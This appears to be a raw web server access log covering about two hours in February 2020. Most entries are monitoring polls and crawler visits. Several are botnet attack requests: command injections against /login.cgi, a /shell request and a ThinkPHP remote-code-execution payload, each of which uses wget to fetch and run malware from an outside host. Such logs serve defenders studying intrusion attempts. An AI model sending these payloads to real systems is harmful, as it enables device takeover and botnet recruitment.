27.216.245.215 - - [28/Feb/2020:14:35:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [28/Feb/2020:14:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.0.194.177 - - [28/Feb/2020:14:40:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:14:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.189.83.186 - - [28/Feb/2020:14:43:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:14:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.92.238.216 - - [28/Feb/2020:14:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:14:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.12.219.22 - - [28/Feb/2020:14:52:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.205.88.244 - - [28/Feb/2020:14:53:28 +0100] "GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 HTTP/1.0" 404 306 "-" "botnet/2.0"
212.91.246.72 - - [28/Feb/2020:14:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.90.184.218 - - [28/Feb/2020:14:54:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:14:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.249.180.48 - - [28/Feb/2020:14:56:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:14:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:14:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.42.162.150 - - [28/Feb/2020:15:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:15:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.129.17.68 - - [28/Feb/2020:15:03:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:15:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [28/Feb/2020:15:05:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [28/Feb/2020:15:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.0.105.42 - - [28/Feb/2020:15:06:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.142.202.18 - - [28/Feb/2020:15:13:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.210.196.129 - - [28/Feb/2020:15:17:46 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.129 - - [28/Feb/2020:15:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [28/Feb/2020:15:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.173.161.30 - - [28/Feb/2020:15:20:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.89 - - [28/Feb/2020:15:28:48 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.87 - - [28/Feb/2020:15:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
46.229.205.74 - - [28/Feb/2020:15:29:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.205.74 - - [28/Feb/2020:15:30:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.205.74 - - [28/Feb/2020:15:30:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [28/Feb/2020:15:33:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:15:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.205.74 - - [28/Feb/2020:15:35:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.205.74 - - [28/Feb/2020:15:37:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.205.74 - - [28/Feb/2020:15:40:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:15:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.65.193.244 - - [28/Feb/2020:15:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:15:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:15:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.37.131.200 - - [28/Feb/2020:16:07:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:16:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.90.156.245 - - [28/Feb/2020:16:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.182.146.124 - - [28/Feb/2020:16:13:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:16:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.218.138.26 - - [28/Feb/2020:16:14:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:16:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [28/Feb/2020:16:18:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [28/Feb/2020:16:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.78.56.37 - - [28/Feb/2020:16:24:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
72.44.25.14 - - [28/Feb/2020:16:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:16:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:16:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.47.218.112 - - [28/Feb/2020:16:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:16:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.17.172.154 - - [28/Feb/2020:16:31:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Clarabot/1.4; +http://www.clarabot.info/bots)"
212.91.246.72 - - [28/Feb/2020:16:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.17.172.155 - - [28/Feb/2020:16:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Clarabot/1.4; +http://www.clarabot.info/bots)"
37.17.172.155 - - [28/Feb/2020:16:31:41 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; Clarabot/1.4; +http://www.clarabot.info/bots)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
185.2.103.111 - - [28/Feb/2020:16:31:58 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
